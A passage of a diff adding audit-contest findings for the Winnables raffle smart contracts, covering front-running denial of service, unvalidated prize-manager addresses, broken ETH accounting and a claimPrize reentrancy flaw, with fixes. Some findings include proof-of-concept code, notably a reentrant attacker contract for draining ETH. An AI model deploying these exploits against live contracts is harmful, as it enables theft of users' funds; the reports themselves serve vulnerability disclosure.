that should be drawn is cancelled. + +### Mitigation + +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); +- if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); ++ if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/028.md b/001/028.md new file mode 100644 index 0000000..855638d --- /dev/null +++ b/001/028.md @@ -0,0 +1,90 @@ +Dandy Blonde Carp + +High + +# `createRaffle()` can be DoS using `cancelRaffle()` + +## Summary +Malicious user can frontrun `createRaffle()` using `cancelRaffle()` to DoS the raffle creation + +## Vulnerability Detail +Admin can create raffle using `createRaffle()`, which checks the `status` of raffle to be `PRIZE_LOCKED` +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { +... + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked(); +... + } +``` +`Anyone` can cancel the raffle using cancelRaffle(), which internally calls `_checkShouldCancel()`. +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +@> _checkShouldCancel(raffleId); + _raffles[raffleId].status = RaffleStatus.CANCELED; +... + } +``` +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +... + } +``` +As we see above code if `raffle.status == RaffleStatus.PRIZE_LOCKED` then _checkShouldCancel() `returns` & cancelRaffle() sets the `status` of the raffle to be `CANCELED` + +Now, a malicious user can take advantage of above situation and `frontrun` the createRaffle() by calling `cancelRaffle()`, which will set the status of the raffle to `CANCELED` without reverting because raffleStatus was `PRIZE_LOCKED`. As result, when admin will try to create raffle, it will revert due to `raffle.status != RaffleStatus.PRIZE_LOCKED` check(see createRaffle() code) + +//Here is how this works +1. Suppose admin wants to create raffle with `raffleId = 1`, which has status of `PRIZE_LOCKED` +2. Malicious user frontrun createRaffle() by calling `cancelRaffle()` with raffleId = 1, which will cancels the raffle ie sets the status to `CANCELED`. cancelRaffle() doesn't revert because _checkShouldCancel() doesn't revert but returns, when status of raffle is `PRIZE_LOCKED` +3. When admin try to createRaffle() with raffleId = 1, it reverts because now its status is `CANCELED` + +//Here is PoC +Run this is test in TicketManager.js file +```javascript + it("CreateRaffle can be forntrun", async () => { + const now = await blockTime(); + //minting link to manager.address + await ( + await link.mint(manager.address, ethers.utils.parseEther("100")) + ).wait(); + //Canceling the raffle with id = 1 by frontrunning + const cancel = await manager.cancelRaffle( + counterpartContractAddress, + 1, + 1 + ); + + //Trying to create raffle with id = 1 + await expect( + manager.createRaffle(1, now, now + timeSeconds.hour, 0, 500, 100) + ).to.be.revertedWithCustomError(manager, "PrizeNotLocked"); + }); +``` + +## Impact +createRaffle() can be DoS + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L264 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278C4-L288C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +## Tool used +Manual Review + +## Recommendation +Revert the cancelation of raffleId whose status is `PRIZE_LOCKED` +```diff +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; ++ if (raffle.status == RaffleStatus.PRIZE_LOCKED) revert InvalidRaffle(); +``` \ No newline at end of file diff --git a/001/030.md b/001/030.md new file mode 100644 index 0000000..4c6f5e4 --- /dev/null +++ b/001/030.md @@ -0,0 +1,56 @@ +Prehistoric Metal Rabbit + +High + +# No validation for `prizeManager`, anyone can lock prizes forever by calling `cancelRaffle()` or `propagateRaffleWinner()` with an arbitrary address + +### Summary + +In `WinnablesTicketManager`, the functions `propagateRaffleWinner()` and `cancelRaffle()` are used to propagate the results to the Prize Manager on the Ethereum Mainnet. Due to the lack of validation for the `prizeManager` parameter common to both functions, anyone can propagate results with a nonsensical address, changing the raffle status and locking the prizes forever. + + +### Root Cause + +When a raffle is finished due to any reasons (e.g. max ticket was reached, min ticket was not reached, selling time ended), anyone can call `drawWinner` and request a random number from Chainlink VRF. After which anyone can call `propagateRaffleWinner()` to deliver the results to the Prize Manager, so that the winner can claim their prize. +- In case if the raffle was cancelled due to not reaching the minimum sales threshold, anyone can also call cancel to unlock the prizes for reuse. + +However, both functions have `prizeManager` as an input parameter, and performs no validation on it. Anyone can then input an arbitrary address to send the CCIP message to, causing the message to arrive at the wrong address. The contract however, still marks the raffle as completed, rendering the message unable to be sent again. This permanently locks the prize in the Prize Manager contract, as the raffle would be stuck in limbo. + +`propagateRaffleWinner()` has no validation: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +`cancelRaffle()` has no validation: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +`_sendCCIPMessage()` also has no validation on the destination address: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Admin locks the prizes in and starts a new raffle. +2. After some time, the raffle inevitably completes, and will be either cancelled or drawing of results. + - In both cases, a message has to be passed to the prize manager on the Ethereum Mainnet. +3. Adversary calls `cancelRaffle()` or `propagateRaffleWinner()` depending on raffle status, however with a bogus `prizeManager` address. +4. The message is sent to a false address on the Ethereum Mainnet. However, the raffle is still marked as `PROPAGATED` or `CANCELED`, preventing the message from being re-sent to a different address. + +Because the Ethereum Mainnet prize manager never receives the message, it locks the raffle's prize forever, not even allowing the admin to retrieve it. + +### Impact + +Any raffle prizes can be locked forever, with the admin or the winner not being able to retrieve them. + +### PoC + +_No response_ + +### Mitigation + +Validate the destination address when sending the CCIP message (that the destination address is a trusted one). \ No newline at end of file diff --git a/001/031.md b/001/031.md new file mode 100644 index 0000000..93d4750 --- /dev/null +++ b/001/031.md @@ -0,0 +1,89 @@ +Dandy Blonde Carp + +High + +# `refundPlayers()` doesn't update the `lockedETH` + +## Summary +`refundPlayers()` doesn't update the `lockedETH` + +## Vulnerability Detail +When a user buy tickets using `buyTickets()`, it `increases` the lockedETH(which is ETH amount that might be needed for a refund) +```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { +... + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + @> _lockedETH += msg.value; + } +... + } +``` +Also admin can withdraw all the ETH, except lockedETH using withdrawETH() +```solidity + function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { +@> balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } +``` +Now the problem is, when user claim their refund using `refundPlayers()` for `CANCELED` raffle then it transfers the ETH to participants but doesn't `decrease` the amount of lockedETH +```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length;) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + @> _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } + } +``` + +## Impact +Admin will not be able to withdraw the full ETH balance because lockedETH is not updated + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L224 + +## Tool used +Manual Review + +## Recommendation +Reduce the amount of lockedETH in refundPlayers() +```diff + + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length;) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); ++ _lockedETH -= amountToSend; + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { + ++i; + } + } + } +``` \ No newline at end of file diff --git a/001/032.md b/001/032.md new file mode 100644 index 0000000..022ecd1 --- /dev/null +++ b/001/032.md @@ -0,0 +1,31 @@ +Spare Flint Carp + +High + +# Not updating `_lockedETH` in the `refundPlayers()` function leads to the asset being locked + +## Summary + +The [WinnablesTicketManager::refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) function does not update the `_lockedETH` variable to reflect refunded assets. This prevents the contract's admin from fully withdrawing available assets. + +## Vulnerability Detail + +The `_lockedETH` variable is intended to [track the amount of ETH locked](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L206) in the contract from ticket sales for raffles. When a raffle is canceled, the `refundPlayers()` function is designed to return the ETH paid by users. However, the refunded ETH is not subtracted from `_lockedETH`. As a result, `_lockedETH` continues to include the amount of ETH that has already been refunded to users. This causes the [withdrawETH()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300) function to undercalculate the amount of ETH that can be withdrawn by the admin. + +## Impact + +The admin is unable to withdraw the full balance of available ETH. The assets equivalent to the refunded amount remain locked in the contract. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L300 + +## Tool used + +Manual Review + +## Recommendation + +Update the `refundPlayers()` function to subtract the refunded ETH from `_lockedETH`. \ No newline at end of file diff --git a/001/034.md b/001/034.md new file mode 100644 index 0000000..a99585c --- /dev/null +++ b/001/034.md @@ -0,0 +1,31 @@ +Spare Flint Carp + +High + +# Contract based accounts, such as AA, cannot claim winner prize + +## Summary + +The winner address on Ethereum and Avalanche have to be the same. Smart accounts or any other contract-based accounts that do not have the same address on both chains cannot claim their prizes. + +## Vulnerability Detail + +The [`WinnablesTicketManager::propagateRaffleWinner()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) function on Avalanche forwards the winner's address to Ethereum, where the [`WinnablesPrizeManager::_ccipReceive()`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L275-L276) function declares the winner on Ethereum. However, smart accounts or contract-based accounts that do not have the same address on both chains cannot claim their prizes. + +## Impact + +Contract-based accounts that do not have the same address on both chains cannot claim their prizes. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L275-L276 + +## Tool used + +Manual Review + +## Recommendation + +Ensure the ticket buyer cannot be a contract. \ No newline at end of file diff --git a/001/036.md b/001/036.md new file mode 100644 index 0000000..6b1431f --- /dev/null +++ b/001/036.md @@ -0,0 +1,94 @@ +Cold Daffodil Bird + +High + +# Reentrancy in claimPrize() Function + +### Summary + +The claimed check is after the external call which allows reentrency inside the function which allows a malicous winner to claim more then once or drain the total ETH locked inside the contract. + +### Root Cause + +In `WinnablesPrizeManager:121` the AlreadyClaimed() check is after the external call in _sendETHPrize. + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L121 + +### Internal pre-conditions + +1. Admin needs to create createRaffle() for 1 ETH. +2. assume all check has passed. + + +### External pre-conditions + +1. alice needs to be the winner of the ETH raffle. + +### Attack Path + +1. alice buys tickets for the raffle. +2. alice calls getWinner(). +3. alice becomes the winner. + // AS , there is no time limit to claimETH / raffle prize. +4. alice waits some time until a new raffle for 1 ETH or some amount of ETH has been made. +5. now , eth locked = 2 ether. +6. alice calls claimPrize() with a fallback function and calling claimPrize() inside it . +7. now alice has claimed 2 ether instead of 1 ether. + +### Impact + +Loss of funds for the users. + +### PoC + +_No response_ + +### Mitigation + + add this `AlreadyClaimed()` check before transfer call and use of Reentrency Guard . + +```solidity + + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/038.md b/001/038.md new file mode 100644 index 0000000..1220046 --- /dev/null +++ b/001/038.md @@ -0,0 +1,91 @@ +Hot Cherry Giraffe + +High + +# Incorrect ETH Locking Mechanism Will Lead to Permanent Fund Lockup (`WinnablesTicketManager::refundPlayers`) + + +## Summary + +## Vulnerability Detail + +The `WinnablesTicketManager` contract manages raffles where users can purchase tickets using ETH. The contract employs a mechanism to track locked ETH for potential refunds using the [`_lockedETH` variable](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L42). This variable is crucial for maintaining the contract's financial integrity and ensuring proper fund management. + +The contract correctly increments [`_lockedETH`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L42) when tickets are purchased in the [`buyTickets()` function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210): + +```solidity +unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; +} +``` + +However, a critical issue arises in the [`refundPlayers()` function](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228). When a raffle is canceled and players are refunded, the `_lockedETH` variable is not decremented: + +```solidity +uint256 amountToSend = (participation & type(uint128).max); +_sendETH(amountToSend, player); +``` + +This oversight leads to an artificially inflated `_lockedETH` value over time, as it continues to accumulate without being properly adjusted during refunds. + +The `_lockedETH` variable is only decremented in the `propagateRaffleWinner()` function: + +```solidity +unchecked { + _lockedETH -= raffle.totalRaised; +} +``` + +However, this decrement only occurs for successful raffles, not for canceled ones where refunds are issued. + +The root cause of this issue lies in the `refundPlayers()` function, where the contract fails to update the `_lockedETH` variable after refunding players. This omission creates a discrepancy between the actual locked ETH and the value stored in `_lockedETH`. + +## Impact +The incorrect management of the `_lockedETH` variable can prevent admins from withdrawing legitimate excess funds, leading to potential loss or unavailability of funds. The contract's accounting becomes increasingly inaccurate over time, which can undermine the financial integrity of the protocol. + +## Code Snippet +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L42 +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 +- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 + + +## Proof of Concept +1. Alice creates a raffle with 100 ETH as the prize. +2. Bob buys 10 tickets for 1 ETH each. `_lockedETH` is increased by 10 ETH. +3. The raffle is canceled due to insufficient participation. +4. Bob is refunded 10 ETH through the `refundPlayers()` function, but `_lockedETH` remains at 10 ETH. +5. This process repeats for multiple raffles, each time increasing `_lockedETH` without properly decrementing it. +6. Eventually, `_lockedETH` becomes greater than the actual contract balance. +7. When an admin tries to withdraw excess funds using `withdrawETH()`, the transaction reverts due to an underflow or a revert in the calculation `address(this).balance - _lockedETH`. + +## Tools Used +Manual review + + +## Recommendation +To address this issue, the `refundPlayers()` function should be modified to decrement `_lockedETH` when refunds are issued. Here's the recommended fix: + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); ++ unchecked { ++ _lockedETH -= amountToSend; // Decrease _lockedETH ++ } + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } +} +``` + +This change ensures that `_lockedETH` accurately reflects the amount of ETH reserved for potential refunds, maintaining the contract's financial integrity and allowing for proper fund management. + diff --git a/001/039.md b/001/039.md new file mode 100644 index 0000000..6092fe6 --- /dev/null +++ b/001/039.md @@ -0,0 +1,31 @@ +Spare Flint Carp + +High + +# Raffle cancellation can be front-run to lock assets on Ethereum + +## Summary + +The [WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function can be front-run by malicious actors to lock assets on Ethereum. + +## Vulnerability Detail + +The [WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function lacks proper access control and input validation for the `prizeManager` and `chainSelector` parameters. A malicious actor can front-run the legitimate cancellation by calling `cancelRaffle()` with a fake `prizeManager` and `chainSelector`. + +When this happens, the cancellation message is sent to an incorrect contract, preventing the `WinnablesPrizeManager` on Ethereum from [receiving the `RAFFLE_CANCELED` message](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L270-L274) and execute the `_cancelRaffle()` logic. As a result, the raffle remains active on Ethereum, but it is effectively canceled on the Avalanche. This results in locking the assets associated with the canceled raffle, as the admin [cannot withdraw them](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L218-L245). + +## Impact + +The admin will be unable to withdraw the assets associated with the canceled raffle. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +## Tool used + +Manual Review + +## Recommendation + +Add access control for `cancelRaffle()`. \ No newline at end of file diff --git a/001/040.md b/001/040.md new file mode 100644 index 0000000..9979c0e --- /dev/null +++ b/001/040.md @@ -0,0 +1,42 @@ +Proud Pistachio Tardigrade + +Medium + +# refund transfers might fail if the players array is too large and if a player is a smart contract that can't receive eth + +### Summary + +The refundPlayers function in WinnablesTicketManager.sol is responsible for refunding ETH to players when a raffle is canceled. However, this function has two issues: potential out-of-gas errors if the players array is too large, and the possibility of refund transfers failing if a player is a smart contract that cannot receive ETH. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228 + +### Root Cause + +Using Push pattern instead of pull + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If the players array is too large, the function may run out of gas, causing the transaction to fail and preventing refunds. + +If any player is a smart contract that cannot accept ETH, the refund transfer will fail, potentially causing the entire transaction to revert. + + +### PoC + +_No response_ + +### Mitigation + +Consider refactoring the refund function to use a PULL pattern where every participant can call a claim refund for himself. \ No newline at end of file diff --git a/001/043.md b/001/043.md new file mode 100644 index 0000000..fa77083 --- /dev/null +++ b/001/043.md @@ -0,0 +1,101 @@ +Colossal Latte Spider + +Medium + +# An attacker can block the creation of a raffle + +### Summary + +Insufficient checks in `WinnablesTicketManager::_checkShouldCancel` will allow an attacker to cancel a raffle **before** it is created and **block** it from further creation. + + +### Root Cause + +[The check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436) in `WinnablesTicketManager::_checkShouldCancel` allows an attacker to **block** a raffle from creation as long as the admin has **locked** a particular prize. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The admin wants to create a new raffle. +He first has to lock a prize in the raffle before calling the function, responsible for creating the raffle. +The admin calls either [lockNFT](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L148), [lockETH](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172) or [lockTokens](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L196) in order to lock a prize in the raffle. + +2. Each of these functions calls the `_sendCCIPMessage` function, which in turn sends a message to `WinnablesTicketManager::_ccipReceive` which sets `_raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED` as we can see [here:](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L381) +```javascript +function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + ... + + _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` +3. The admin now has to call `WinnablesTicketManager::createRaffle` but before that the attacker calls `WinnablesTicketManager::cancelRaffle` +(In this scenario the attacker can also frontrun the admin's transaction) +Now let's look at the [cancelRaffle](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) function: +```javascript + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +We can see that it first calls `_checkShouldCancel`. Let's [have a look](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434) at it: +```javascript + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +Now look at the following statement in the function: `if (raffle.status == RaffleStatus.PRIZE_LOCKED) return;` +Note that I mentioned that `WinnablesTicketManager::_ccipReceive` sets the raffle status to `PRIZE_LOCKED`. +Now that the status is set, the **if statement** passes through, then `cancelRaffle` continues execution and sets `_raffles[raffleId].status = RaffleStatus.CANCELED;` +The raffle is **blocked** from further creation because of the revert happening when [this check](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L264) in `WinnablesTicketManager::createRaffle` is met: +`if (raffle.status != RaffleStatus.PRIZE_LOCKED) revert PrizeNotLocked();` + +### Impact + +Every time the admin tries to create a new raffle an attacker can block the raffle from creation. This may result in users being **unable** to use the app. + +### PoC + +_No response_ + +### Mitigation + +A possible solution might be to remove the check that allows to continue the execution: +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + // @audit-issue [GAS] `storage` is gas inefficient - use `memory` instead + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } + +``` \ No newline at end of file diff --git a/001/044.md b/001/044.md new file mode 100644 index 0000000..aa227c2 --- /dev/null +++ b/001/044.md @@ -0,0 +1,104 @@ +Mammoth Stone Grasshopper + +High + +# ETH prize winner will reenter `WinnablesPrizeManager::claimPrize` and wipe all `WinnablesPrizeManager` ETH + +### Summary + +The [`WinnablesPrizeManager::claimPrize`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105) function is vulnerable to a reentrancy attack due to the fact that the `rafflePrize.status` is updated only after an external call is made to the winner. A malicious winner could exploit this by setting a fallback function in their address that re-enters the claimPrize function, potentially draining all the ETH in the contract. + + +### Root Cause + +The root cause of the vulnerability is the sequence in which the function operations are executed. `rafflePrize.status` is updated only after the contract makes an external call to the winner's address to send them ETH. This order allows the winner to re-enter the function through the fallback function in their contract before the prize status is updated. + + +### Internal pre-conditions + +1. The raffle prize must be ETH (rafflePrize.raffleType == RaffleType.ETH). +2. There must be at least double the amount of the ETH prize in the contract. + +### External pre-conditions + +The winner’s address must be a contract with a fallback function to reenter the claimPrize function. + +### Attack Path + +1. Attacker deploys a contract that contains a fallback function that re-enters the claimPrize function. +2. The attacker participates in ETH raffles until they win the prize. +3. Upon winning, attacker calls `WinnablesPrizeManager::claimPrize`, which will call the attacker's contract's fallback function to call `WinnablesPrizeManager::claimPrize` again until depleting WinnablesPrizeManager's ETH balance. + + +### Impact + +The malicious user will drain all the ETH held by the WinnablesPrizeManager contract. This means either stealing the protocol's balance, or the prizes that should go to other raffle participants. + + +### PoC + +The [mock contract](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/mock/ReentrantClaimer.sol) below, extracted from the project's mock folder, shows the exact dynamics an attacker contract must have to exploit this vulnerability. + +```Solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.0; + +interface IPrizeManager { + function claimPrize(uint256 raffleId) external; +} + +contract ReentrantClaimer { + bool private _done; + uint256 private _raffleId; + address private _prizeManager; + + function doubleClaim(address prizeManager, uint256 raffleId) external { + _raffleId = raffleId; + _prizeManager = prizeManager; + IPrizeManager(prizeManager).claimPrize(raffleId); + } + + fallback() external payable { + if (_done) { + _done = false; + _raffleId = 0; + _prizeManager = address(0); + return; + } + _done = true; + IPrizeManager(_prizeManager).claimPrize(_raffleId); + } + + receive() external payable {} +} +``` + + +### Mitigation + +Consider using the “checks-effects-interactions” pattern, where all state changes are made before any external calls: update the rafflePrize.status before making the external call to the winner. + +```Diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == 